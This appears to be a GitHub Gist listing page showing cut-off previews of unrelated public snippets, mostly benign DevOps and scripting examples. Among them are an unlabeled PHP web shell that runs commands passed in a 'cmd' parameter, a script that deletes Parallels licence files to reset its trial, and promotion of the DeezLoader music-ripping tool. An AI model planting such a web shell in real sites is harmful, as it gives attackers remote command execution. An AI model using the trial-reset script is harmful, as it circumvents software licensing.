Skip to content

Instantly share code, notes, and snippets.

@Jarmos-san
Jarmos-san / main.py
Last active March 26, 2025 14:56
A simple FastAPI project with a health check route
"""Entrypoint to invoke the FastAPI application service with."""
from fastapi import FastAPI, status
from pydantic import BaseModel
import uvicorn
app = FastAPI()
class HealthCheck(BaseModel):
@antoninbouchal
antoninbouchal / .gitlab-ci.yml
Last active February 3, 2025 12:11
Deploy APP through SSH to VPS with Gitlab CI
stages:
- build
- deploy
before_script:
- |
# docker variables for name and tag of new image
export DOCKER_TAG="${CI_COMMIT_SHA:0:8}"
export DOCKER_REPO="$CI_REGISTRY_IMAGE"
export DOCKER_IMAGE="${DOCKER_REPO}:${DOCKER_TAG}"
@taichikuji
taichikuji / README.md
Last active April 9, 2025 13:50
Get a DDNS up and running with DuckDNS - Step by Step

Get a DDNS up and running with DuckDNS - Step by Step

Understanding DDNS

In summary, DDNS stands for Dynamic DNS. DDNS updates a DNS name in real-time to point to a changing IP address. This is useful for devices without a static IP. For example, companies like Google use static IPs and IP ranges, which are more expensive than ephemeral IPs and IP ranges. DDNS provides a cost-effective alternative, linking a hostname to a dynamic IP address.

How Does DDNS Work?

To use DDNS, you need an account with a DDNS provider. While some services are paid, they are still cheaper than static public IPs from ISPs. A script or service on your device updates the DDNS server with your current IP at regular intervals to maintain the link between your hostname and IP address. Luckily for us, DuckDNS is free for everybody and relays on donations to keep their services running.

@rangeShot
rangeShot / competitive-programming websites.md
Last active October 15, 2023 18:45
Here is the list of competitive programming websites.
@stevenctl
stevenctl / bot.py
Created March 21, 2019 06:16
Python Selenium Reusable Browser Session
# Sometimes I have some tedious thing to do like data entry
# Sometimes I script that tedious thing using selenium
# Sometimes I have to login to something to enter that data
# This allows you to rerun your script using the same session
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import os
SELENIUM_SESSION_FILE = './selenium_session'
@shillshocked
shillshocked / README.MD
Created February 2, 2019 14:20 — forked from nzec/README.MD
DeezLoader Offical Page

DeezLoader

Note:

Deezloader might be getting replaced.

RemixDev (the current maintainer of Deezloader Remix) is working on a new project named Remix Downloader (name not final) which will support basically all the services worth downloading from for various reasons that you would, such as Spotify, with the Spotify Ripper App, Tidal, with Tidal Media Downloader, Google Play Music, Qobuz, and of course Deezer.

Telegram :
Help and Discussion : @RemixDownloaderCommunity

@twxia
twxia / getScrollableParent.js
Created January 5, 2018 03:41
Get Scrollable Parent
function getScrollParent(node) {
const isElement = node instanceof HTMLElement;
const overflowY = isElement && window.getComputedStyle(node).overflowY;
const isScrollable = overflowY !== 'visible' && overflowY !== 'hidden';
if (!node) {
return null;
} else if (isScrollable && node.scrollHeight >= node.clientHeight) {
return node;
}
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@barnybug
barnybug / docker-compose.yml
Created November 21, 2017 11:14
Docker compose for a Docker-in-docker gitlab runners setup
# Docker-in-Docker Gitlab runners setup taken from:
# https://medium.com/@tonywooster/docker-in-docker-in-gitlab-runners-220caeb708ca
dind:
restart: always
privileged: true
volumes:
- /var/lib/docker
image: docker:17.09.0-ce-dind
command:
- --storage-driver=overlay2
@gdurastanti
gdurastanti / parallels-reset.sh
Created August 9, 2017 14:00
Reset Parallels' trial
#!/bin/sh
# Reset Parallels Desktop's trial and generate a casual email address to register a new user
rm /private/var/root/Library/Preferences/com.parallels.desktop.plist /Library/Preferences/Parallels/licenses.xml
jot -w pdu%[email protected] -r 1